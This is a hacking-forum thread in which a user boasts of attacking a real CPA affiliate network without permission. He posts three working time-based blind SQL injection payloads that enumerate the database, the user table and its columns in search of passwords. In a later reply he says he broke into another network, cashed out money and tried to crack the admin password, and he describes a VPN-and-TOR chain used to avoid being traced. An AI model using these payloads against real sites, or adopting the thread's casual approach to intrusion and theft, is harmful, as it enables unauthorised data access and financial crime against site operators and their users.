

Forum:[Hack Forums](#)

Thread: [\[BIG CPA Network\] Vulnerable](#)

DataDumper - October 13, 2015, 4:55 am

Hey i found a vulnerable sql time based injection in big CPA Network

I used this queries and i manage to get php version 5.5.4, db name and one column from user table.

Code

```
target.com/blabla.php?=if(now()=sysdate(),sleep(5),0)/*XOR(if(now()=sysdate(),sleep(5),0))OR""XOR(if(now()=sysdate(),sleep(5),0))OR""*/&link=1Code
```

```
target.com/blabla.php?=XOR(if(ascii(substring((select concat(table_schema) from information_schema.columns where table_schema!=0x696e666f726d61746966e5f736368656d61 and table_schema='DB_NAME' and table_name like 0x75736572+limit 0,1),1,1))=76,sleep(5),0))OR""*/&link=1then i went for coulumn by guessing them
```

```
Code target.com/blabla.php?=if(now()=sysdate(),sleep(1),0)/*XOR(if(ascii(substring((select concat(column_name) from information_schema.columns where table_schema!=0x696e666f726d61746966e5f736368656d61 and column_name like 'id' and table_schema='DB_NAME' and table_name like 0x75736572+limit 0,1),1,1))>0,sleep(5),0))OR""*/&link=1
```

There was id column then i skip to ask for %asswo%, etc then my page was normaly refreshed and the old queries dont work too, you think they fixed it after they saw the delay on their webhosting?

flre_w1re - October 13, 2015, 11:05 am

It certainly is possible, seen it happen to many times to count, specially if they are as big as you claim them to be. I really hope you are using some form of anonymity.

Posna - October 13, 2015, 12:35 pm

Maybe its not vulnerable if it was then you would get access for sure

DataDumper - October 13, 2015, 7:16 pm

It was vuln they fixed it, yes its big lower then 3,000 global rank...

i could get some info but they saw i send weird asks for server, and also the vuln spot was not shown for normal user...

by the way i am right now into other CPA +/- 4,000 global rank not that high but i was able to cashout some \$, cant crack admin password...

yes i am using mask, VPN on host -> VPN on guest machine -> TOR